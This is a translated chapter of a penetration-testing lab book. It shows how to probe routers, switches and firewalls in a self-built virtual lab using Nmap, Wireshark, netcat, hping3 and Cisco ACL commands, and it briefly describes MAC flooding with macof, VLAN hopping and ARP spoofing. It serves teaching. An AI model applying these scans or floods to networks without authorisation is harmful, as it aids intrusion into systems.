为高级渗透测试构建虚拟渗透实验室(二)

原文:annas-archive.org/md5/5AF1EAA721331A5C7E465DF911DFDC6C

译者:飞龙

协议:CC BY-NC-SA 4.0

第七章:设备评估

在本章中,我们将学习评估不同类型设备的技术。我们还将研究在测试过程中测试弱过滤器的方法。我们将涵盖以下主题:

  • 评估路由器

  • 评估交换机

  • 攻击防火墙

  • 识别防火墙规则

  • 渗透过滤器的技巧

本章将为我们提供一种评估现有设备及其受保护程度的方法;发现我们要对抗的管理员的技能水平是很重要的。一个经过强化和良好配置的环境将提出重大挑战。然而,作为专业测试人员,我们的工作是接受挑战,看看我们能发现什么,并起草一份发现的报告。

评估路由器

从外部攻击者的测试位置开始,我们最有可能遇到的第一件事是路由器。也有可能是一个设备,但由于我们主要是从测试范围的角度出发,所以我们不太可能随身携带设备。我们在本书的早期已经展示了获取设备的地方;因此,如果您有这样的奢侈,您可以根据我们提供的信息建立自己的固定实验室。

我们在上一章中构建的外部架构是我们将进行所有测试的基础。我们分层架构的一个示例如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

前面的图表显示了我们整个外部架构,我们遇到的第一件事是路由器;因此,它是我们将用来进行测试的第一个设备。

与本书中过去所做的一样,我们希望集中在我们在特定时间点将处理的架构领域;因此,对于本节,我们将专注于以下图表中的架构:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

为了进行这项测试,启动路由器和 Kali Linux 发行版的虚拟机。我们将使用 Kali 来测试路由器。在机器启动后,使用您创建的必需的用户名和密码登录到它们。

在路由器机器上,您需要启动路由器,打开一个终端窗口,然后输入dynamips –H 7200来启动路由器。一旦它启动,您需要通过打开另一个终端窗口并输入dynagen config.net来加载配置文件。一旦配置加载完成,输入console R1并访问正在运行的路由器,然后在路由器提示符上输入en进入路由器的特权模式。在这一点上,我们输入show ip int brief来显示路由器接口的配置。输出应该类似于以下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

与以前一样,我们希望确保我们的接口处于线路和协议up的状态,就像前面的截图所示的那样。一旦我们确保了这一点,我们将把注意力转向其他事项。

在 Kali 发行版中,有许多工具可供我们在测试范围内进行测试;其中最流行的之一是网络映射工具 Nmap。在 Kali 上打开一个终端窗口,并对连接到 VMnet8 的路由器接口进行扫描;如果您已经配置您的机器以匹配我们在书中使用的内容,您将输入nmap -sS 192.168.177.10 –n进行扫描。

这对目标进行了 SYN 或半开放扫描,这种情况下是路由器的 f0/0 接口。n选项告诉 Nmap 不要进行名称查找,并帮助我们的扫描更快地完成。

这次扫描的结果示例如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

对于阅读本文的人来说,您很可能知道我们有 65536 个可能的端口,而 Nmap 工具只在扫描中查看了其中的 1000 个。这是 Nmap 的默认设置,因此我们可以将其更改为扫描所有端口,我们现在将这样做。输入nmap -sS –p 0-65535 192.168.177.10 –n来扫描所有可能的端口。如果发现的服务是您想要攻击的服务,那么您可以跳过整个端口范围的扫描。

这个扫描将需要很长时间才能完成;您可以随时按空格键获取实时更新。

一旦这个非常长的扫描完成,路由器上只会有一个端口打开,因此这就成为我们对路由器本身的攻击向量。扫描进行到一半时的示例显示在以下截图中:

评估路由器

正如前面的截图所示,扫描需要很长时间才能完成,而且我们尤其不喜欢总共花费的时间在增加。这是因为扫描必须发送数据包到所有 65536 个端口。有方法可以加快扫描速度,但我们在这里不会担心这个问题。由于路由器上只有一个端口打开,因此这是我们进行攻击的唯一途径,我们可以连接到它并查看响应。

重要的是要注意,这只是一个路由器的默认配置,并没有进行任何加固;然而,我们实际上并没有太多的攻击面。我们有一个优势,那就是这是 Cisco 软件的旧 IOS 版本,这可能有助于我们前进,但我们将首先尝试一些基本的东西。由于端口 23 用于 telnet 开放,我们可以连接到它并查看连接的结果。在 Kali 上的终端窗口中,输入telnet 192.168.177.10来连接到路由器上的 telnet 服务;这方面的示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

好消息是端口上有一个正在运行的服务,我们可以连接到它;坏消息是密码从未设置过,因此我们无法长时间访问该端口。连接到端口的另一种方法是使用工具 Netcat,我们现在将尝试一下,看看结果是否有所不同。在终端窗口中输入nc 192.168.177.10 23,使用 Netcat 工具连接到服务,看看我们是否有更好的运气;结果的示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一次又一次,我们并没有得到任何有价值的东西,所以我们继续尝试另一种方法。首先,我们需要意识到我们有点作弊,因为我们知道只有一个虚拟路由器。当然,这并不是在实际测试时的情况;因此,我们需要看看如何确定我们正在处理一个路由器。为了做到这一点,我们必须从数据包级别查看网络流量。

注意

每当我们想知道我们正在处理的是什么,总是要从数据包级别查看。幸运的是,Kali 发行版中包含了一个很好的工具,那就是 Wireshark。

在 Kali 中打开一个终端窗口,输入wireshark &来启动该工具。当工具启动时,您可以在连接到 VMnet8 交换机的接口上启动捕获,这应该是 eth0。示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦您验证了您的设置,点击开始以在 eth0 接口上开始捕获。一旦捕获开始,对路由器进行另一次扫描,并在 Wireshark 中查看结果。示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的截图所示,这是一个有访问控制列表的路由器;任何时候你看到一个 ICMP 目的地不可达的消息,告诉你有一个路由器会遇到。以下截图显示了 ACL 扫描的一个例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

那么,现在我们该怎么办呢?我们知道有一个路由器,并且它有一个访问控制列表。你还会注意到,现在返回的结果将有一个 ACL,并且只会显示一个端口被关闭。我们的 telnet 去哪了?telnet 端口是开放的,因为那个路由器上没有 ACL,但是一旦你应用了 ACL,规则就被设置为默认拒绝,因此,你只会看到管理员明确允许的东西是开放的。

这就是测试的现实。我们很幸运,这个管理员没有阻止 ICMP 回复消息,所以我们至少可以确定我们有一个路由器。我们接下来可以尝试的是看看 Nmap 告诉我们关于路由器的信息。

使用 Nmap 工具,我们可以尝试进行枚举扫描。为此,我们可以使用–A选项,所以我们现在将尝试这样做。在终端窗口中,输入nmap –A 192.168.177.10命令来查看我们可以从路由器那里收集到什么。以下截图显示了这次扫描的结果的一个例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

事实证明,即使是枚举扫描也没有太大帮助。这是因为路由器对工具提供的帮助不多。再次强调,我们知道我们会遇到一个路由器,这就是为什么我们从它开始的原因。我们看到端口 80 的报告被关闭,所以让我们进一步调查一下。在你进行测试时要保持的一个重要事情是在 Wireshark 中捕获流量,并查看目标在数据包级别如何响应。

既然我们知道有一个端口 80 的响应,我们可以将其作为下一个获取信息的尝试。在你的终端窗口中,输入nmap –sS –p 80 192.168.177.10来将扫描定向到提供响应的端口;在你的 Wireshark 显示中,你可能想设置一个过滤器tcp.port == 80来集中在我们发送的流量上。以下截图显示了扫描结果的一个例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示 Wireshark 显示的屏幕(裁剪的文本不重要)

这告诉我们,当我们连接到端口 80 时,我们收到了一个 RST 和 ACK 数据包;这意味着端口根据 RFC 被关闭。在我们继续之前,关于 RFC 的一点说明:如果你想精通测试的艺术,特别是在数据包级别,你需要熟悉它们;然而,正如你们中的许多人可能知道的那样,它们并不令人兴奋。一个可以帮助你获取 RFC 信息的网站是 Network Sorcery 网站;它提供了关于所有协议和其他网络数据的优秀信息,强烈建议你在不确定某些东西如何工作时花一些时间去审阅它们。你可以在www.networksorcery.com/找到这个网站。

你想要关注的区域是 RFC 源书;以下截图显示了信息的一个例子:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

好的,现在是时候回到手头的任务了。为什么 Nmap 只显示端口 80,而没有其他端口被关闭?我们使用 Wireshark 确定当向其发送 SYN 数据包时,端口会以 RST 和 ACK 标志响应,那么接下来我们该怎么办呢?

这是我们可以尝试一些其他事情来查看端口的响应。我们知道端口报告为关闭;因此,让我们尝试 HTTPS 端口,看看我们会得到什么样的响应。在你的 Wireshark 过滤器中,输入tcp.port == 443,同时重新启动数据包捕获也是一个好主意。导航到捕获 | 重新启动来清理你收集到的所有流量。在你的终端窗口中,输入nmap –sS –p 443 192.168.177.10来探测 HTTPS 端口 443。一旦扫描完成,注意结果。以下是结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如你从之前的屏幕截图中看到的,端口报告的状态不是关闭,而是被过滤;为什么会有这种差异?首先,让我们看一下 Wireshark 中的结果。以下是 Wireshark 结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如我们从之前的屏幕截图中看到的,目标现在没有响应,这就是为什么 Nmap 报告它为被过滤的原因;因此,我们看到端口 80 生成了响应,而端口 443 没有,这告诉我们端口 80 的流量有某种规则,而端口 443 的流量没有。这些是我们应该记录的事情,这样当我们再次看到它时,我们就知道发生了什么。

我们还有一次尝试要做,然后我们将继续尝试针对路由器获取更多的结果。根据 RFC 793,当一个端口发送一个包含非法标志组合的数据包时,如果它是开放的,它不应该做出响应,如果它是关闭的,它应该做出一个带有 RST 标志的数据包响应。我们现在将尝试这样做。在你的终端窗口中,输入nmap –sX –p 80 192.168.177.10来向端口发送一个非法标志的数据包;在这种情况下,这是一种圣诞树扫描。扫描完成后,再次对端口 443 进行相同的扫描;输入nmap –sX –p 80 192.168.177.10并比较结果。以下是扫描结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

那么,我们能够确定什么?从之前的屏幕截图中,我们看到作为路由器的机器似乎遵循 RFC 793;这可以帮助减少可能的设备,因为一些供应商如微软和 OpenBSD UNIX 不遵循 RFC。我们还可以假设,由于市场上大多数设备都是运行 Cisco 路由器,这可能是我们要处理的设备。不幸的是,到目前为止,我们对设备的型号还不太了解,但我们知道它运行着 ACL,并且对端口 80 有一个规则。

我们已经基本上用尽了 Nmap 扫描选项,直接针对路由器接口。当我们通过设备进行更多尝试时,我们将尝试更多的工具;目前我们只是测试设备,并当然,记录结果。

在我们继续下一步之前,我们还有一件事要做,那就是验证我们的假设。当我们用 Nmap 扫描时,端口 80 显示为关闭,当我们尝试端口 443 时,我们得到一个被过滤的报告。我们假设这是因为 ACL 中必须有一些规则来关闭端口 80。好吧,我们永远不想假设,我们想确保我们的假设是正确的;因此,我们最好的选择是为另一个端口添加一个规则,然后看看会发生什么。我们现在就来做这件事。在你的路由器上,输入以下命令:

conf t
ip access-list extended External
permit tcp any any eq 22

按下Ctrl + Z,然后输入以下命令:

show access-lists

以下是示例的屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的屏幕截图所示,我们现在有一个规则允许我们的端口 80 流量和端口 22 流量。值得注意的是,由于我们刚刚输入了规则,所以没有像其他规则那样的匹配。

我们现在准备测试我们的理论。在您的 Kali 发行版中,在终端窗口中输入nmap 192.168.177.10 –n进行默认扫描。正如之前讨论的,n选项有望加快我们的扫描速度。扫描结束后,审查结果;一个示例如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

任务成功!我们现在已经证明,当路由器(在这种情况下是思科路由器)有一个端口规则时,它将响应该端口。我们现在知道,在这种情况下有两个开放的端口;因此,我们有两个潜在的向量可以让我们访问路由器进行攻击。我们现在准备继续并尝试找到攻击路由器设备的方法。

由于 Kali 发行版是一个渗透测试工具包,很可能有人以前遇到过思科路由器,我们可以求助于它,看看它可能有什么可以帮助我们继续测试路由器的东西。事实上,不仅在发行版中有适用于思科的工具,而且它还有自己的菜单项!

在 Kali Linux 中,导航到应用程序 | Kali Linux | 漏洞分析 | 思科工具,并显示包含在适用于思科路由器的发行版中的可能工具。一个示例如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示可能的工具的屏幕,这些工具包含在适用于思科路由器的发行版中(裁剪的文本不重要)

正如先前的屏幕截图所示,当我们遇到思科设备时,有许多工具可供使用。从这里开始,主要是试验和错误的问题。

最好的开始地方是顶部,所以我们现在将看一下第一个工具,思科审计工具。一旦您选择它,一个窗口将打开并提供工具的选项,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当您审查工具的输出时,它实际上并没有太多帮助;在哪里可以运行这个工具的命令?不幸的是,这在 Kali Linux 发行版中有时会发生。如果我们幸运的话,至少我们会在目录中,这样我们就可以弄清楚。在您的终端窗口中,输入ls,然后输入pwd以显示我们所在的目录,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当您审查先前的屏幕截图和工具的输出时,您有幸吗?不,似乎菜单没有把我们放在正确的目录中,它把我们留在了root目录中。那么现在我们该怎么办?嗯,我们可以尝试一些选项,但现在我们不会花太多时间在它们上面;我们只会看一两个。这是 Linux,所以我们可以尝试主页;我们现在就来试试。在终端窗口中,输入man cisco-auditing-tool来查看是否有主页可用。我们可能可以使用更好的命令名称来找到它,但我们真的没有太多线索,所以我们只会尝试一些选项。一个示例如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

嗯,正如先前的屏幕截图所示,我们在这里做得并不好,这就是我们将要经历这个过程的原因,因为这经常会发生。那么现在我们该怎么办?嗯,是时候引入互联网了,在搜索互联网后,我们发现 Kali Linux 中的工具使用CAT文件。所以,我们现在将尝试一下。在您的终端窗口中,输入CAT来看看会发生什么。

一个示例如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最后,正如前面的截图所示,我们已经找到了该工具的命令。当我们审查选项时,我们看到第一个选项是针对单个主机的;因此,由于我们有一个目标设备,我们将从那里开始。我们将输入CAT –h 192.168.177.10并观察输出。示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从前面截图的输出中,很明显这个工具寻找 telnet 端口 23 是否打开,所以我们知道情况并非如此。但是,我们可以记录这个工具,以便在 telnet 打开时重新访问。

我们现在将继续尝试另一个工具。这是我们测试时的过程;我们希望查看所有不同的工具和方法来对抗我们测试的目标;因此,您必须记录什么有效,什么无效,因为这将在您对抗实际目标时为您节省大量时间。

我们将看看下一个工具,也是列表中的下一个工具,即 Cisco 全局利用程序。此工具的选项示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当我们审查工具的选项时,我们发现大多数选项需要 Web 服务器或 telnet 服务可用。由于我们知道情况并非如此,我们可以转向下一个选项。但是,请记住记录工具要求,以便以后测试。我们可以关闭访问列表,然后打开测试选项。但是,在大多数情况下,管理员不会打开这些选项,默认情况下也不会打开。它们曾经是默认开启的,但是像安全领域的大多数事物一样,它们已经加强了安全性,不再是这种情况。

我们可以继续尝试不同的工具,但我们将为您节省时间。当我们扫描路由器时,我们无法找到有关它的太多信息,因此 ACL 基本上阻止我们发现太多。因此,为了证明这一点,我们现在将删除 ACL 并查看它是否有所帮助。在您的 Cisco 路由器中,输入以下命令:

conf t
int f0/0
no ip access-group External in

按下Ctrl + Z,然后执行以下命令:

show ip int f0/0

我们要验证 ACL 是否不再在接口上。示例显示在以下截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经清除了 ACL,我们可以尝试使用 Nmap 进行另一次扫描。我们可以进行正常的默认扫描,但我们将从枚举扫描开始;因此,在 Kali Linux 的终端窗口中,输入nmap –A 192.168.177.10 –n并扫描目标。结果的示例显示在下一个截屏中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

哇!这真是大不相同!现在,如果我们的目标没有配置 ACL,我们可以发现关于目标的大量信息,但您很可能会遇到 ACL,那么您该如何处理呢?嗯,在最初的发现中,您可以要求提供信息,他们可能会提供。您也可以尝试不同的位置;虽然外部接口受到保护非常常见,但内部接口却不太常见。因此,在某些情况下,这将是继续的最佳选择。

从这里开始,您将注意到不同的结果,然后记录什么有效,什么无效;此外,您将注意到可以进行的不同配置更改以及这些更改如何影响结果。实际上,您现在应该运行 Kali 中的所有工具,并查看在没有 ACL 的情况下有何不同;如常,记录您的发现。

如果我们找到攻击路由器的方法,那当然很重要,但更重要的是路由器是内部的保护设备,我们的前进方式是看如何穿越路由器;这是我们将在本章稍后进行的。现在,我们要讨论的是当我们遇到使用 Linux 机器或其他设备作为其路由器和过滤设备的人时的结果。

由于我们已经基本上耗尽了与可能遇到的作为边界设备的路由器的工作,现在是时候看看如果我们遇到一个使用 iptables 作为其路由器并提供 ACL 功能的环境时的结果了。为此,我们需要启动我们在第四章中配置了 iptables 的虚拟机,识别范围架构。您可能希望暂停我们一直在使用作为路由器的机器,以避免冲突和系统资源。我们将在本章后面再次讨论这台机器和路由器设备。

一旦您的虚拟机启动,使用所需的凭据登录,并打开一个终端窗口。在终端窗口中,输入iptables –L以显示当前配置,如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们看到我们为 http 流量设置了规则,所以现在我们知道我们要使用我们的 Kali Linux 机器扫描这台机器。在您的 Kali Linux 机器上,打开一个终端窗口,输入nmap 192.168.177.15来扫描 iptables eth0 接口。这次扫描的结果示例如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从前面显示我们扫描结果的屏幕截图中,我们知道我们有 ssh 和端口 111 开放。这与我们扫描路由器时有显著不同,因为 iptables 正在机器上运行;因此,结果将显示机器上开放的内容。这为我们提供了一些攻击途径,但问题是我们没有真正测试 iptables 规则。这是因为我们不关心 iptables 规则;这次扫描只扫描了机器的接口,与我们的 iptables 规则无关。对于路由器,我们有一个可以扫描的接口。由于我们在这里没有,我们只扫描了机器;但这是确定您是否会遇到作为路由器或实际路由器设备的机器的好方法。

那么,现在我们该怎么办呢?嗯,我们有几个选择。由于 ssh 是开放的,我们可以尝试暴力破解,或者如果我们知道有端口开放,它将帮助 Nmap 更好地进行枚举。所以,我们现在尝试一下。在终端窗口中,输入nmap –A 192.168.177.15进行枚举扫描。

这里有一部分输出的示例,如下屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示了输出的部分示例(裁剪的文本不重要)

从前面的屏幕截图中,我们看到我们有额外的信息。这是因为我们只是查看 iptables 所在的机器,而不是规则。我们可以做一些事情来涉及 iptables 规则,但我们将在本章后面再讨论。根据我们在这里看到的,还有其他事情可以做吗?答案是肯定的。我们看到我们有 OpenSSH 版本,所以我们可以使用本书中讨论的技术,尝试找到可能适用于这个 SSH 版本的任何漏洞。我们可以在互联网上搜索。截至目前,有几处提到 6.0 版本存在一些拒绝服务漏洞,但由于这在渗透测试范围内很少被要求,我们将不在这里讨论,欢迎您自行尝试。

在我们继续之前,还有一件事要做,那就是在数据包级别查看流量。在 Kali Linux 的终端窗口中输入wireshark &启动 Wireshark 工具。当工具打开时,通过导航到eth0 | Capture来在你的 eth0 接口上开始捕获。一旦捕获开始,通过另一个终端窗口运行你的 Nmap 扫描,然后在 Wireshark 中查看结果。因为我们真的只想看看是否有任何消息显示我们在过滤器中遇到的,你可以输入一个显示过滤器。我们现在就来做这个。在过滤窗口中输入icmp来查看目标是否发送了任何 ICMP 流量。

以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示目标是否发送了任何 ICMP 流量(裁剪的文本不重要)

之前的屏幕截图确实显示了一些 ICMP,但你会注意到这些都不是我们如果有过滤器的话会看到的 ICMP 类型。数据包 1702 是根据 RFC 对关闭的用户数据报协议UDP)端口的响应。

我们还有一个过滤器,我们将应用以结束这一部分。作为测试人员,我们尽快获取数据非常重要,这就是 Wireshark 过滤器的威力所在。然而,在我们这样做之前,有什么我们错过了吗?希望你还记得 Nmap 默认只扫描 1000 个端口,因此我们并没有扫描所有的端口。你可能已经扫描了端口;作为提醒,我们使用-p选项进行端口扫描,你应该扫描所有端口,以便你的测试结果更完整。一旦你完成了扫描,Wireshark 中将会有几个数据包需要你查看。为了让我们的工作更容易,输入以下内容到 Wireshark 的过滤窗口中:

tcp.flags.syn == 1 and tcp.flags.ack == 1

一旦你输入了过滤器,点击Apply应用过滤器。现在,所有设置了 SYN 和 ACK 标志的数据包将被显示;因此,你现在可以快速查看目标上开放的端口。以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示目标上有哪些端口是开放的快速参考(裁剪的文本不重要)

如果你更喜欢看到端口号而不是通常分配给该端口的协议名称,你可以在 Wireshark 的设置中更改这个。导航到Edit | Preferences | Name Resolution,并取消Resolve transport names下的复选标记。以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这是我们目前对 iptables 机器所做的全部。正如我们提到的,当我们实际开始针对规则集进行测试时,我们将重新访问这一点。我们能够通过路由器设备做到这一点,但我们将与 iptables 机器一起通过路由器 ACL 进行测试。

评估交换机

我们很可能会遇到的另一个设备是交换机。由于交换机是单播设备,只会向所有端口发送广播流量,当我们面对交换机时,我们希望尝试创建一种情况,使交换机要么将数据包错误地转发到我们希望的错误目的地,要么使交换机向所有端口发送所有信息,实际上成为一个集线器。

我们要查看的攻击称为二层攻击。虽然确实有交换机可以操作到开放系统互连OSI)模型的七层,但我们将专注于更传统的在二层操作的方法。

MAC 攻击

多年来,我们一直享受着使用一个名为macof的优秀工具来淹没交换机的奢侈。您可以在linux.die.net/man/8/macof上阅读更多关于它的信息。您可能仍然可以使用 macof 工具取得一些成功,但通常只有在遇到 2006 年之前的交换机时才有效。我们想淹没交换机以将其转换为集线器,以便我们可以拦截潜在的攻击流量。

如果您遇到一个较旧的交换机,macof 可以在 70 秒内淹没平均内容寻址内存CAM)表。由于遇到较旧的交换机是相当常见的,因此至少要了解一下该工具的使用方法是很重要的。我们在 Kali Linux 发行版中可以使用 macof 工具。在 Kali 机器上,导航到应用程序 | Kali Linux | 压力测试 | 网络压力测试 | macof以打开 macof 工具,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这将打开 macof 工具,正如在 Kali Linux 发行版中通常的那样,有一个显示工具使用的输出。工具使用示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,该工具的使用非常简单。再次强调,这是您在遇到较旧的交换机时可以使用的工具。现在我们将看一下针对第二层交换机的另一种攻击。

VLAN 跳跃攻击

我们将要看的下一个攻击是跨越 VLAN 的技术。许多管理员在配置交换机时会犯错误,因此我们有时可以跨越 VLAN。我们使用 VLAN 跳跃来访问分配给主机的 VLAN 不可用的资产。

在 VLAN 跳跃中,我们利用了一个事实,即干线具有对所有 VLAN 的访问权限。为了执行攻击,我们必须欺骗支持干线协议的交换机。为了使其工作,交换机必须配置为允许我们执行此操作。这上的默认设置是auto,这将允许我们的攻击起作用。如果欺骗成功,我们将可以访问网络上的所有 VLAN。

GARP 攻击

Gratuitous Address Resolution ProtocolGARP)攻击是针对 ARP 没有认证进行的,因此您可以成功地欺骗 ARP 地址。该过程是发送到广播地址的 GARP,有些操作系统将覆盖现有的 ARP 条目,即使该条目已经被静态输入。

所有这些攻击都是可能的,但在大多数情况下,除非我们建立一个实际的固定范围,否则我们将无法构建和测试它们。

攻击防火墙

接下来,我们想要像之前遇到路由器时那样攻击防火墙。我们的成功将取决于管理员以及他们如何配置他们的环境。

我们将使用我们创建的Smoothwall防火墙,并将从连接到 VMnet2 交换机的红色接口对其进行攻击。我们将使用与我们对路由器使用的相同过程,并查看我们在对防火墙进行攻击时可以发现什么。我们的测试范围如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的图表所示,我们将只集中在 Smoothwall 机器的外部接口上。我们要做的第一件事是使用我们流行的网络扫描工具 Nmap,并查看我们可以从机器上发现什么。

我们需要将我们的 Kali Linux 发行版连接到 VMnet2 交换机。如下截图所示的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在 Kali 机器中验证设置后,登录并在 Smoothwall 机器中输入ifconfig eth0以显示机器的 IP 地址信息,因为我们需要这个信息输入到我们的工具中。以下截图显示了示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有了 IP 地址,我们准备进行扫描。在您的 Kali Linux 机器上,输入nmap –A 10.2.0.131来扫描 Bastion Host 机器的 eth0 接口。如果您的 IP 地址不同,那么您将输入目标 IP 地址。以下截图显示了部分结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

再次,我们确实没有太多线索。我们看到机器上只有一个端口是打开的,由于 Nmap 工具没有足够的信息来尝试对操作系统进行指纹识别,我们需要查看数据包级别。通过输入wireshark &在 Kali 上启动 Wireshark,并在 eth1 接口上开始数据包捕获。一旦数据包捕获开始,再次运行 Nmap 扫描,然后在 Wireshark 中查看扫描结果。

以下截图显示了扫描的部分示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示了扫描部分的示例(裁剪的文本不重要)

当您查看前面的截图时,您会看到ident端口确实响应为关闭状态。实际上,几乎所有其他端口都没有响应,所以至少我们有一些线索。这是因为如果有 Internet 连接,Smoothwall 安装就会注册,并且身份受到端口 113 的控制。

在我们完成本章的工作时,我们发现了一件事,即在扫描路由器时使用了 ICMP 错误消息,因此我们想看看 Smoothwall 机器是否返回了任何 ICMP 消息。始终从新捕获开始是一个好主意,因此在 Wireshark 中,导航到捕获 | 重新启动以在接口上开始新的捕获。为了使您的任务更容易,输入 ICMP 过滤器并单击应用。然后返回到您的终端窗口,再次运行 Nmap 扫描,并观察 Wireshark 中的结果。

以下截图显示了结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们有 ICMP 流量,这可能有助于我们确定是否会遇到防火墙。接下来,我们将想知道哪个端口响应了 ICMP 消息。根据 RFC 793,这是关闭的 UDP 端口的有效响应。因此,我们需要确定这是响应的 UDP 端口,还是 TCP 端口。我们将再次运行我们的扫描,并仅查看 TCP 流量,方法是输入nmap –sS 10.2.0.131并在扫描期间观察 Wireshark。以下截图显示了结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示了结果的示例(裁剪的文本不重要)

从前面的截图中,我们看到 TCP 端口引起了响应,因此它不遵循 RFC。我们现在可以得出结论,我们有了一个防火墙,并且我们可以尝试攻击它或穿过它。

这再次是测试的现实;我们可能会发现一个防火墙,除非我们对防火墙有所了解,否则成功攻击它可能会很困难,甚至不可能。在这种情况下,如果我们没有知道这是 Smoothwall 防火墙的优势,我们对所遇到的防火墙类型几乎一无所知。

您可以继续尝试获取有关防火墙的信息,以便攻击它,但我们将继续前进,因为在使用 Smoothwall 防火墙多年后,发现通过它或使用某种社会工程学方法来获取其后面的访问权限要容易得多。

识别防火墙规则

在本章中,我们早些时候确定了路由器上有规则的端口;这是您希望继续在您的范围内练习的技术,但我们还没有具体看防火墙本身。如果我们想成功地穿过它,我们需要看看防火墙允许和阻止什么。正如之前提到的,这可能是一个重大挑战,而且往往我们只能使用已打开的端口来穿过防火墙。

我们提到路由器是无状态防火墙的一种形式,并且我们展示了对应用了 ACL 的路由器进行 Nmap 扫描将显示已设置规则的端口。我们不仅讨论了这一点,而且还证明了它。我们将进一步进行这一步骤,首先是我们的路由器,然后是我们的 iptables 和 Smoothwall 防火墙。

我们想看看哪些流量被允许通过无状态防火墙。由于我们之前已经用扫描做过了,所以我们只是简要地看一下测试规则的另一种方法。在本节中,我们将使用以下屏幕截图中显示的设计:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的屏幕截图所示,我们有第二个网络,由 VMnet2 交换机表示,因此启动所需的机器并登录到它们。在您的路由器机器上,打开一个终端窗口并输入以下命令来运行您的 dynamips 机器:

dynamips –H 7200
dynagen config.net

注意

确保您为每个命令打开一个终端窗口,并导航到/opt目录。

一旦您的路由器启动,输入以下命令:

console R1
en
show ip int f0/0

验证您的设置如图所示。接口上有一个访问列表;如果没有,那么您必须放上一个。如果需要帮助,我们在本章的前面已经覆盖了这些步骤。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从之前的屏幕截图中,我们看到这个接口上有 ACL,所以我们准备做一些测试。我们首先要做的是验证我们的路由。如果没有设置,那么我们需要创建路由。同样,这是我们已经做过的事情,所以我们不会在这里覆盖这些步骤。

注意

您必须在 Kali 机器和 OWASP 机器上设置路由。

如果您的路由设置好了,您应该能够访问OWASP机器的 Web 服务器。使用 Netcat 或 telnet 验证您是否可以连接到该机器;在这里,我们将使用 Netcat。在 Kali Linux 机器上,输入nc 10.3.0.132 80并在终端窗口中验证您是否可以连接到该端口;如果成功了,那么路由配置正确并且工作正常。连接后,输入以下内容:

GET / http/1.1

以下是结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦路由设置好了,我们就准备开始测试规则。我们将从 Nmap 扫描开始。输入nmap 10.2.0.132并查看结果;现在我们将扫描路由器,所以 ACL 起作用了。以下是结果的示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从之前的屏幕截图中,我们看到,由于我们现在要穿过 ACL,我们实际上得到了通过无状态防火墙允许的端口的结果。我们将再看一个,然后继续测试其他的。我们还可以使用工具Hping来查看规则。在 Kali 的终端窗口中,输入hping3 –S –p 80 10.2.0.132并注意结果。现在,我们要输入一个我们知道没有打开的端口的命令。输入hping3 –S –p 22 10.2.0.132并注意结果。以下是一个示例:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

